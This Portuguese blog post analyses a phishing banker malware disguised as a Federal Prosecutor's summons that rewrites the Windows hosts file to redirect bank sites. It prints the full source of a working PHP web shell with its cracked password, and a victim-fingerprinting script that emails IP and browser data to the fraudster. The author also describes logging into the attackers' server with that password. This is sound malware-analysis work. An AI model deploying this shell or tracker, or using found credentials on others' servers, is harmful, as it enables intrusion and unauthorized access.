Análise do Malware Intimação-MPF

Já está circulando há um tempo mensagens de phishing que utilizam o nome do Ministério Público Federal e do Departamento de Polícia Federal falando de uma suposta intimação para comparecer em uma audiência. Hoje recebi mais uma desse tipo e resolvi analisar, vamos ver o que conseguimos.



Identificação do Artefato

Ao clicar no link do e-mail foi feito o download do arquivo:

INTIMACAO-MPF.SCR.exe (MD5: 3168711d7cb3a7a7c1a037dfaa8a66a9)

O executável não possuia compactador e a linguagem de programação identificada foi Microsoft Visual Basic 5.0 / 6.0, assim o caminho estava livre para prosseguir.

Análise Estática

Ao abrir no IDA Pro e buscar pelas strings ficou fácil descobrir as intenções do artefato malicioso.


Vemos um endereço IP, várias URLs de bancos, referência ao arquivo hosts do Windows e por fim uma URL. Só por isso já conseguimos imaginar o que o malware faz: insere entradas no arquivo hosts para redirecionar para um site falso o acesso a sites bancários.

Por fim deve acessar a URL final para “avisar” que mais um caiu no golpe, isso é bem comum e manjado. A análise dinâmica do artefato pode provar a nossa teoria.

Análise Dinâmica

O Regshot e o ProcessMonitor podem nos ajudar com isso, executei o malware com as duas ferramentas abertas e obtive os seguintes resultados.

Regshot: arquivos modificados na execução.

Process Monitor: processo do malware escrevendo no arquivo hosts.

No final da execução o malware automaticamente abriu o Internet Explorer com o site de cartões virtuais www.viacards.com.br (!).

Verficando o C:\Windows\system32\drivers\etc\hosts lá estavam as modificações.

Quando acessei o IP 200.98.201.19 não havia nenhuma página configurada mas buscando o endereço no Google encontrei o site Offensive IP Database dizendo que esse IP já estava envolvido em atividades maliciosas.


Análise Web

Buscando mais informações voltei para aquela última URL encontrada nas strings:

http://XXXXXX/cw/wp-includes/js/tinymce/themes/advanced/skins/default/topx.php

Tentei listar o conteúdo da pasta onde estava a página php, isso seria possível se não houvesse um arquivo index nela. Para a nossa sorte realmente esqueceram do index e foram listados todos os arquivos.

Um servidor web quando configurado para interpretar a linguagem de programação PHP não exibe o código-fonte de um arquivo PHP e sim interpreta a linguagem nele e mostra o resultado. Sendo assim mesmo a pasta não tendo o index se clicarmos nos arquivos plx.php e topx.php não conseguiremos ver seu código-fonte.

Porém como vemos na listagem há também os arquivos plx.txt.1 e topx.tar no mesmo diretório. Possivelmente são cópias dos arquivos originais e como não estão com a extensão PHP podemos fazer download e ver todo seus conteúdos. Isso é muita ingenuidade do golpista ou alguém já mexeu aí antes.

Primeiramente analisando o arquivo plx.php é possível notar que se assemelha a um terminal shell em PHP que permite realizar comandos no servidor.


Nota-se que possui um campo adicional chamado Password. Tentei alguns comandos mas não funcionaram, então precisaria de uma senha para funcionar. Fiz o download do plx.txt.1 e obtive todo o código-fonte PHP do arquivo:

<?php

  $md5pass   = "ce00f65608bced062b083079d4b1e69c";

  $password  = $_POST["password"];
  $command   = $_POST["command"];
  $changedir = $_POST["changedir"];
  $remotephp = $_GET["remotephp"];

  if (empty($password)) $password = $_GET["password"];

  if (!empty($password)) { if (md5($password) != $md5pass) $password = ""; }
  else $password = "";
  if (!isset($changedir) || empty($password)) {
    @ $changedir = exec("pwd");
  } else {
    @ chdir("$changedir");
    @ $changedir = exec("pwd");
    if (empty($changedir)) { $changedir = "/"; }
  }
  if (!empty($command) && !empty($password)) {
    $command = stripslashes($command);
    $temp = explode(" ", $command);
    if ($temp[0] == "cd") {
      $temp = explode(";", $command);
      $changedir = exec("$temp[0]; pwd");
      if (empty($changedir)) { $changedir = "/"; }
      $command = "";
      if (isset($temp[1])) {
        $command = $temp[1];
        for ($loop = 2; isset($temp[$loop]); $loop++) { $command .= "; $temp[$loop]"; }
      }
    }
  }

?>
<html>
  <head>
    <title>4843term</title>
  </head>
  <body bcolor="#FFFFFF" text="#000000">
    <font face="Fixedsys">
    <table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td align="left" valign="top">
          <form method="post" name="terminal" action="<?php echo $PHP_SELF; ?>" target="_self">
<?php if (empty($password)) { echo "            Password:<br>\n"; } ?>
            <input type="<?php if (!empty($password)) { echo "hidden"; } else { echo "password"; } ?>" name="password" size="50"<?php if (!empty($password)) echo " value=\"$password\""; ?>><?php if (empty($password)) { echo "<br><br>\n"; } ?>
            Directory:<br>
            <input type="text" name="changedir" size="50"<?php if (isset($changedir)) echo " value=\"$changedir\""; ?>><br><br>
            Command:<br>
            <input type="text" name="command" size="50">
            <input type="submit" value="Execute"><br>
            <input type="checkbox" name="stderr"<?php if (isset($stderr) || !isset($command)) echo " checked"; ?>> Enable stderr-trappin
          </form>
        </td>
        <td align="left" valign="center">
<pre>
4843term by Havenard
  Version 1.050501 [01/May/2005]

Contact : havenard@hotmail.com
    IRC : irc.brasnet.org

    01010000 01001110 01010111
</pre>
        </td>
      </tr>
    </table>
    <br>
<pre>
<?php
  if (md5($password) == $md5pass) {
    @ chdir("$changedir");

    $safe_mode = (bool)ini_get("safe_mode");

    if (!$safe_mode) {
      if (!empty($command)) {
        ob_start();
        if (!isset($OS) || ($OS != "Windows_NT"))
          @passthru("$command 2>&1");
        else
          @passthru("$command");
        $output = ob_get_contents();
        ob_end_clean();
        if (!empty($output))
          echo str_replace(">", ">", str_replace("<", "<", $output));
      }
    }
    else {
      echo "Due to SafeMode, it's unable to execute commands!\n";

      echo "Machine informations:\n";
      echo "PHP: ".phpversion()."\n";
      echo "Server: $SERVER_SOFTWARE $SERVER_VERSION\n";
      $uname = @posix_uname();
      if (!empty($uname)) {
        while (list($info, $value) = each($uname))
          echo "$value ";
        echo "\n";
      }
      $uids  = @posix_getlogin();
      $euids = @posix_getlogin();
      $uid   = @posix_getuid();
      $euid  = @posix_geteuid();
      $gid   = @posix_getgid();
      if (!empty($uid))
        echo "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)\n";
    }

    if (!empty($remotephp)) include($remotephp);
  }

?>

</pre>
    <script> document.terminal.command.focus(); </script>
  </body>
</html>

Vemos que autenticação dele se baseia em:

$md5pass = "ce00f65608bced062b083079d4b1e69c";
$password = $_POST["password"];
if (md5($password) == $md5pass) {
@ chdir("$changedir");

Se o MD5 do password digitado for igual ao MD5 que está no código-fonte ele libera os comandos digitados. Então basta sabermos que caracteres correspodem a esse MD5 e conseguiremos o acesso. Hoje em dia é muito comum os sites com cracks de hashs MD5, uma rápida busca no Google por esse MD5 me retornou a string referente a esse hash.


ce00f65608bced062b083079d4b1e69c aihdffa

Inserindo esse password no shell PHP e o comando “ls -la” eis a saída:

Agora para ver o conteúdo do topx.php sem precisar baixar o arquivo tar basta darmos um “cat topx.php”.

Aqui o conteúdo total do arquivo topx.php:

<?php
   
    $OSList = array
    (
      
            'Windows 3.11' => 'Win16',
            'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)',
            'Windows 98' => '(Windows 98)|(Win98)',
            'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)',
            'Windows XP' => '(Windows NT 5.1)|(Windows XP)',
            'Windows Server 2003' => '(Windows NT 5.2)',
            'Windows Vista' => '(Windows NT 6.0)',
            'Windows 7' => '(Windows NT 7.0)',
            'Windows 7' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
            'Windows ME' => 'Windows ME',
            'Open BSD' => 'OpenBSD',
            'Sun OS' => 'SunOS',
            'Linux' => '(Linux)|(X11)',
            'Mac OS' => '(Mac_PowerPC)|(Macintosh)',
            'QNX' => 'QNX',
            'BeOS' => 'BeOS',
            'OS/2' => 'OS/2',
            'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
    );
    

    foreach($OSList as $CurrOS=>$Match)
    {

            if (eregi($Match, $_SERVER['HTTP_USER_AGENT']))
            {
              
                    break;
            }
    }
  
 $useragent = $_SERVER['HTTP_USER_AGENT'];
   if (preg_match('|MSIE ([0-9].[0-9]{1,2})|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'IE';
  } elseif (preg_match( '|Opera/([0-9].[0-9]{1,2})|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Opera';
  } elseif(preg_match('|Firefox/([0-9\.]+)|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Firefox';
  } elseif(preg_match('|Chrome/([0-9\.]+)|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Chrome';
  } elseif(preg_match('|Safari/([0-9\.]+)|',$useragent,$matched)) {
    $browser_version=$matched[1];
    $browser = 'Safari';
  } else {
    // browser not recognized!
    $browser_version = 0;
    $browser= 'other';
  }

$ip = $_SERVER["REMOTE_ADDR"];
$to = "XXXXXXXXXXXXXXXXXXXXX";
$cabecalho ="From: ae (+Infect)";
$headers = "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: ++INFECT++ <no-reply@priv8.in>";
$conteudo.="<b>Navegador: </b>$browser $browser_version<br>$CurrOS<br> ";

@mail($to,"$cabecalho $ip $browser $browser_version ", "$conteudo", $headers);

Header("location: http://www.viacards.com.br")

?>

Ele pega várias informações do computador da vítima: IP, browser, versão do browser e sistema operacional. Envia por e-mail para o golpista avisando que mais um caiu no golpe e por fim abre o site de cartões para despistar.

Os outros dois executáveis que estavam no diretório seguiam o mesmo padrão desse analisado, a única diferença é o IP inserido no hosts que nesse caso foi o 96.126.116.39.

Um golpe simples e antigo mas que os bankers brasileiros ainda utilizam. Por enquanto estamos livres dos rootkits na MBR. :)

Até a próxima pessoal!

10 comentários:

  1. Excelente! Um trabalho de qualidade ímpar, como sempre. Parabéns!

    [ ]'s

    JoShi

    ResponderExcluir
  2. Grande Ronaldo,

    Parabens, como sempre bem didático.

    Dimitrov

    ResponderExcluir
  3. Mais um ótimo post, seguindo a qualidade do blog

    Só um detalhe que passou despercebido cara
    Você tirou o site da URL, mas esqueceu de remover da imagem
    http://2.bp.blogspot.com/-Dpam9b0pgiw/TmUqm9MOr1I/AAAAAAAAAIk/h5rokz0sKeY/s1600/06-indexdesprotegido.jpg
    no rodapé aparece: Apache server at (e o endereço)

    ResponderExcluir
  4. Obrigado pelos comentários pessoal!

    Nathan, tem razão vacilei nessa, obrigado por avisar, já alterei e exclui a foto.

    Abraços!

    ResponderExcluir
  5. Só um detalhe ortográfico: "Já está circulando a um tempo". Está se falando do passando, então é "circulando HÁ um tempo" :)

    ResponderExcluir
  6. Ola

    seria interessante um video do passo-a-passo dessa analise, eu gostaria muito de saber analisar um malware (afinal toda semana recebo varios).

    ResponderExcluir
  7. JxOxWxKxSxSx ESTA ANALIZANDO O CONTEUDO :)

    ResponderExcluir
  8. Eu fazia parte desse grupo PNW, bom relembrar os velhos tempos de defaced.

    ResponderExcluir

Related Posts Plugin for WordPress, Blogger...